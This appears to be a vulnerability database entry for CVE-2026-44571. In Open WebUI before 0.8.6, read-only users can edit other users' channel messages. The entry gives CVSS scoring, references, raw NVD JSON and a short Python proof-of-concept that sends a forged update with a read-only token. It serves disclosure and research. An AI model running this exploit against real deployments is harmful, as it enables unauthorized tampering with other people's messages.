CVE-2026-44571

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.6, in standard channels (i.e., channels whose channel.type is neither group nor dm), the endpoint POST /api/v1/channels/{channel_id}/messages/{message_id}/update can be accessed with read permission only. When access_control is set to None, the authorization check has_access(..., type="read") evaluates to True, allowing users who are not the message owner to update messages. As a result, unauthorized modification of other users’ messages is possible. This vulnerability is fixed in 0.8.6.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.8.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com"
channel_id = "test_channel"
message_id = "target_message_id"
attacker_token = "valid_read_only_token"

# Vulnerable endpoint
url = f"{target_url}/api/v1/channels/{channel_id}/messages/{message_id}/update"

headers = {
    "Authorization": f"Bearer {attacker_token}",
    "Content-Type": "application/json"
}

# Payload to update another user's message
payload = {
    "content": "Updated by unauthorized user via CVE-2026-44571"
}

# Send exploitation request
response = requests.post(url, json=payload, headers=headers)

if response.status_code == 200:
    print("[+] Exploit successful: Message updated without ownership.")
else:
    print(f"[-] Exploit failed: {response.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44571
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44571
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44571/
[4] VulDB https://vuldb.com/cve/CVE-2026-44571
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-jgj3-r8hr-9pjw
[6] https://github.com/open-webui/open-webui/security/advisories/GHSA-jgj3-r8hr-9pjw

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44571", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:53.473", "lastModified": "2026-05-15T23:16:20.823", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.6, in standard channels (i.e., channels whose channel.type is neither group nor dm), the endpoint POST /api/v1/channels/{channel_id}/messages/{message_id}/update can be accessed with read permission only. When access_control is set to None, the authorization check has_access(..., type=\"read\") evaluates to True, allowing users who are not the message owner to update messages. As a result, unauthorized modification of other users’ messages is possible. This vulnerability is fixed in 0.8.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jgj3-r8hr-9pjw", "source": "[email protected]"}, {"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jgj3-r8hr-9pjw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}